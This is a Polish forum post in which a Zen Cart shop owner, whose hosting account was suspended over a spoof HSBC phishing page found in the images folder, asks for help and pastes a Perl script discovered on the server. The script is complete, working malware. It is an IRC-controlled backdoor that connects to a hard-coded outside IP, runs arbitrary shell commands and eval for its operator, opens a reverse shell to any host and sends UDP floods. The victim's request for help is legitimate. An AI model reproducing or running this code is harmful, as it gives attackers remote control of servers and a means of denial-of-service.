Witam
Jest to mój pierwszy post na forum, mam nadzieję, że dodaje go w dobrym miejscu.
Dziś dostałem maila od administratora serwera, na którym zainstalowany jest sklep zencart, że konto zostało zablokowane z powodu wykorzystania dziurawego skryptu do ataku phishingowego. Kluczowy fragment:
Wiem, że moim podstawowym błędem było w tym wypadku pozostawienie domyślnych nazw folderów. W folderze image znalazłem skrypt perla , nie do końca wiem, czy to jest sprawca całego zamieszania, poniżej fragment:We have been made aware of a spoof HSBC Bank web-site being hosted at
SERVERADMINPL-SC. The hosting IP address is 188.40.127.145 and the URL's
are;
{..}/images/hsbc-co-uk/1-2-id-verify/index.htm
{..}/images/hsbc-co-uk/1-2-id-verify/details.php
Please take immediate action to ensure that this rogue web site is shut
down.
Chciałbym zapytać o następujące rzeczy:Kod php:
#!/usr/bin/perl
use IO::Socket;
srand;
my $fps = 'https';
my $key = '[email protected]';
my $street = '81.169.139.12';
my $door = '17402';
my $num = '300';
my $home = '#hacking';
my $meLen = '7';
chomp (my $me = `whoami`);
chomp (my $bmidl = `whoami`);
chomp (my $last = `uname -a`);
my $walk = '2';
open(LOCK, '>/tmp/sess_f6wtx4es3wddxwa213s1x1ws1e32ss1') or die;
unless(flock(LOCK, 4 | 2)) { die; }
if(fork) { exit; }
$0 = $fps;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
package da;
use IO::Select;
our $dasocket;
our $daselect = new IO::Select;
my $cur_meh;
sub raw { print $dasocket "$_[0]\n"; }
sub mmeh {
my $meh = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $meh .= $abc[int(rand($#abc))]; }
return $meh;
}
sub init {
my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$dasocket = $socket;
$daselect->add($dasocket);
$dasocket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_meh = $_[0];
raw("NICK $cur_meh");
return 1;
}
return 0;
sub loop {
my $time_out = time;
for(;;) {
my @handles = $daselect->can_read(1);
if((time - $time_out) > $num) { $daselect->remove($dasocket); $dasocket->close(); last; }
next unless(@handles);
foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);
foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $home"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_meh = mmeh($meLen, $me); raw("NICK ".$cur_meh); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;
sub bcmd {
my @line = split(/ /, $_[0]);
my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
unless($Mask eq $key) { return; }
my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }
my $To = shift(@line);
$" = ' '; $line[0] =~ s/://;my $Text = "@line";
if ($Text =~ /^(\Q$cur_meh\E\s+\.|\.)(.+)/) {
if($2 =~ /^meh\s*(.*)/) {
if($1) { $cur_meh = $1; }
else { $cur_meh = da::mmeh($meLen, $me); }
da::raw("NICK $cur_meh");
return;
}
if($2 =~ /^bye/) { da::raw('QUIT :;'); exit; }
return;
}
if ($Text =~ /^(\Q$cur_meh\E\s+\!|\!)(.+)/) {
if(!fork) {
if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
if ($2 =~ /^atk\s+(.+)\s+(\d+)\s+(\d+)/) { pwn::atk($To, $1, $2, $3); exit; }
if ($2 =~ /^bov\s+(.+)/) { &bsh($To, $1); exit; }
if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}
exit;
}
return;
}
if($Text =~ /^(\Q$cur_meh\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_meh) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}
sub bsh {
my $to = $_[0];
my $cmd = $_[1];
if($cmd =~ /cd (.+)/) { chdir("$1") or da::raw("PRIVMSG $to :No such file or directory"); return; }
my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { da::raw("PRIVMSG $to :$line"); sleep $walk; } }
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
da::raw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
da::raw("PART $_[0]");
}
sub rsh {
da::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh');
close(STDIN);
close(STDOUT);
close(STDERR);
}
package pwn;
use POSIX;
use Socket;
our $s_time;
sub atk {
da::raw("PRIVMSG $_[0] :\002[atk\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);
while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);
da::raw("PRIVMSG $_[0] :\002[atk]\002 Sent ".$packets." packets.");
}
while(1) {
if(da::init(da::mmeh($meLen, $me), $bmidl, $last, $street, $door))
{
da::loop();
}
sleep 10;
}
}
1) Czy powyższy skrypt jest kluczem do znalezienia przyczyny ataku
2) Na ile cały atak umożliwiła nieprawidłowa konfiguracja serwera
3) Jakie powinienem podjąć kroki lub ewentualnie gdzie szukać dokładniejszych informacji na ten temat
Z góry dziękuję za jakąkolwiek pomoc.